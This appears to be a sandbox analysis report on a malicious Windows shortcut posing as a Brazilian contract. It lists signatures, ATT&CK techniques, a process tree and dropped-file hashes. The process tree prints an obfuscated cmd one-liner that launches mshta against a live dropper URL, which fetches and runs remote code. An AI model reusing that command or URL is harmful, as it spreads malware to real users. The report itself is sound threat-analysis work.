eecdfae0bbc8bf323b0988b8d65f5d5056c94550a055997c547cc6c077e2f523

Analysis

max time kernel
68s
max time network
157s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Contrato_Indeniza_Brasil-KCTX9O.lnk
Size 1KB
Sample260803-pydpyabk21
SHA256 eecdfae0bbc8bf323b0988b8d65f5d5056c94550a055997c547cc6c077e2f523
MD5 daa2fddf49dc0b7991d480dd8496372d
SHA1 cade22d4d4927a2c7cccef25ddbef8b385a8fc70
SHA512 73ef6a742b584dd559228e7c97848c2d588fdbaa3c5631b44dda1430af03b27906fa96025ec5c3fe393902e4abcfb08ee1618f0f8480320ccc409587523e4e3c
TLSH
T11F319C802AFD0614F3F38F7759BF671059BBF8969E10CA0D4140464D1462A01E57BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	3836	mshta.exe
6	3836	mshta.exe
9	3836	mshta.exe
11	3836	mshta.exe
12	3836	mshta.exe
13	3836	mshta.exe
14	3836	mshta.exe
16	3836	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3308	cmd.exe
4904	cmd.exe
4716	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3308	cmd.exe
3124	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3124	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5428	rundll32.exe
6132	rundll32.exe
4008	rundll32.exe
5056	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 4716	4904	cmd.exe	90
PID 4716 wrote to memory of 3836	4716	cmd.exe	91
PID 3836 wrote to memory of 5428	3836	mshta.exe	94
PID 3836 wrote to memory of 6132	3836	mshta.exe	95
PID 5428 wrote to memory of 2428	5428	rundll32.exe	96
PID 3836 wrote to memory of 4008	3836	mshta.exe	97
PID 3836 wrote to memory of 5056	3836	mshta.exe	98
PID 6132 wrote to memory of 3708	6132	rundll32.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1132	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-KCTX9O.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set uwGbg=msh&&set nsmy=ta&&start "" !uwGbg!!nsmy! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4716
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3836
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5428
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:2428
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:6132
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:3708
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:4008
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:2272
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:5056
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:4196
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\vcmdpciv\"
      4⤵
      Views/modifies file attributes
      PID:1132
  - - C:\vcmdpciv\vcmdpciv.exe
      "C:\vcmdpciv\vcmdpciv.exe" C:\vcmdpciv\vcmdpciv
      4⤵
      PID:5912
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:2308
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1352
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3308
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 283B
SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
MD5 7f9d3dc54f928bf6c38576705ad18203
SHA1 2b5e33e5301753684973bfddbc6cfb11d297cf90
SHA512 ef5b01e74a5e49cd0fe887b9d92d830e1052bd93cda7d11ee68829705432a21a9943535de8dff9d77eb3402253adf9d5760eda03ca80a0c3495f83396d648967
TLSH
T102D0C29CA9273E660FE69B454A50C087AEE610CA9C15B648008EC45B0887B02EA962AE
MD5 SHA1 SHA512 TLSH

Submit Download

9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 35KB
SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
MD5 da4c984e1122fb17b3a0285371ff3368
SHA1 aff0704f601458c699b6c7f4ba9a046373992697
SHA512 10993cc947511405b9cc371ee08e6b089b8990965c83ef2528b933ff35ab85292dfddd503682955d54e53a6775fed9a23d4a332f2605444ec972d8932210c945
SSDEEP 768:6sPt1rUfcHoMFLpLmBEOD00pb7tcqo+0TmhsqfN0d+wtHKT:brUfAo+y900F7jTCswtHO
TLSH
T1A4F24FA8AC3BF9A1AD4B5F718DEFDA9632F512C52D31922E4E306E405C13A5BDF57080
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

22D536C4B4AD2CEF7AC6B7789FD235E3

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
Size 192B
SHA256 f38282448b44f3b22d638ee8b7c651488949274dc7a604d9cf2cffa1a8c47a81
MD5 ce3b0f711307a06c1610fa0366621473
SHA1 a3c6d60f7a1d02be3c53a23dd65390fc3e70c5f7
SHA512 b8b63c30e7f21402f232b61093ccd85cfbfe55d87ff7b7e4a8fbc9f891cfe760665344c007c5eeb32326fe6bd4236b653b2bf563f8573b0d01b78bacd2a20e0b
TLSH
T1ACC02B182FE20606F2EC0BBE23D03E83AB14D401F3858F4A163E3A488E10F181C30C1C
MD5 SHA1 SHA512 TLSH

Submit Download

9DD9D8EB1173CB9DA0F6DAA87673F76F

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
Size 246B
SHA256 6311b092e18b1882439a924835aca1da3d8e7aeed08ae229fb424b25a1d3ee62
MD5 150db83a4a3c3450c9a8395d07897aa7
SHA1 e5096b3609668afcd23df3c07674835d41062a03
SHA512 7cd69faac8459dc01929b0211bc5069b4d6a92b03f82a48023dfbe2b526a5725291ccab9cea4ed7483deb5da16537737bfb7db30bb68f8b78e66dfd7d123f602
TLSH
T1D6D0221837691213F0A0CABA8A600662CE18722FB6D00F4E0FF2410C8A2EF431CA0C2C
MD5 SHA1 SHA512 TLSH

Submit Download

a1.zip

Path C:\vcmdpciv\a1.zip
Size 494KB
SHA256 42890ce63cec59273230cfb5f61476a4da244f57ed7f38f61eed5ea904f59d80
MD5 94d03e8281ae82cd55207490ede3567e
SHA1 56ab333203b6bd88d2d037a8d3e17c492b2686b0
SHA512 4697a45daf7803202e25d5873b57525343a0205a0697d34b72babdef908cd35925c8fd652a63e9267255b1de34e7204604be49a607848e729505b30c9e433c70
SSDEEP 12288:CxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrI8:Cq7hblmK/dgGeVlk22aCarI8
TLSH
T169B4231C22C4BD086D3D97FB58539F7405E62A9E14B8024DE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\vcmdpciv\a2.zip
Size 1.3MB
SHA256 9085bea8765e21fd29f90e47ad99e0e2f63bc23f429f9c2f8d67cecb8871c8a7
MD5 4f4b13a34f5d33b4c0f28415e700ad36
SHA1 3ecea0a4922a795b9ac6fa1caf18aed535c17010
SHA512 532bc3581096d1a4b30adab5e3cf0ce854f56e6700566bdbf6b646f751367b01786f63a831e41f4dd315aca50b98bdddb9799d6dec515d01815a824a47d5308b
SSDEEP 24576:aAuYNwua6NduNqjRt1pSdu4E0mcKptG6lgVT0kQkmSp9QpDH1tMlyaU:aAuSw7Ku4xpSd7m7BlgVQmvQJH1t9
TLSH
T184553355B7EDDF14E07D52A1C9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\vcmdpciv\a3.zip
Size 2KB
SHA256 a9962270d602ecafd52b99436b6cbcabfa18e0be00c543707767e01e50042b1b
MD5 4d88ea46f1d4ae5c036b5c6f4bd9c9a8
SHA1 8d40756dbe16bbc1ad070a823aac33476d01cf7c
SHA512 c9fc842037276e4a82935d3409383b3c02b0209ef4511da2c44c8592752085b86ea0359ec6aac717679aa33c814dca6f67813566940b2ba5ee95e7078a9b279f
TLSH
T103413AE88E7CBDA0D68F79389E14587059373EC499C465B90EBFEC042230399CA6E42C
MD5 SHA1 SHA512 TLSH

Submit Download

vcmdpciv

Path C:\vcmdpciv\vcmdpciv
Size 1.3MB
SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
MD5 3acd16edf0a4a2c6ece5bdb47bbfe252
SHA1 f2c68a96d6233778d1900a859ff089284c1672f2
SHA512 db484aa924751393a2bb72b482dea0882e2ea077a48f24e9535c1dd4fb49491779832533a50b509770220503952dc01253e62205b3a376ee4660d7c7f3348172
SSDEEP 24576:wAsYBwwc6NnutqPLth3SduIE0mcKppG2RgzTckokmGpVQpHH3tghysG:wAsiw7WuYn3Sdpm7PRgzIYrQhH3tb
TLSH
T121553355B7EDDF04E0BD51A1D9C14ED42EE304ADBFE8CC081AC84788D5D236DA948EBA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vcmdpciv.exe

Path C:\vcmdpciv\vcmdpciv.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2308-121-0x0000021200290000-0x000002120045A000-memory.dmp

Download

memory/3836-104-0x000001A782790000-0x000001A78295A000-memory.dmp

Download

memory/5912-113-0x0000000000400000-0x00000000005C7000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads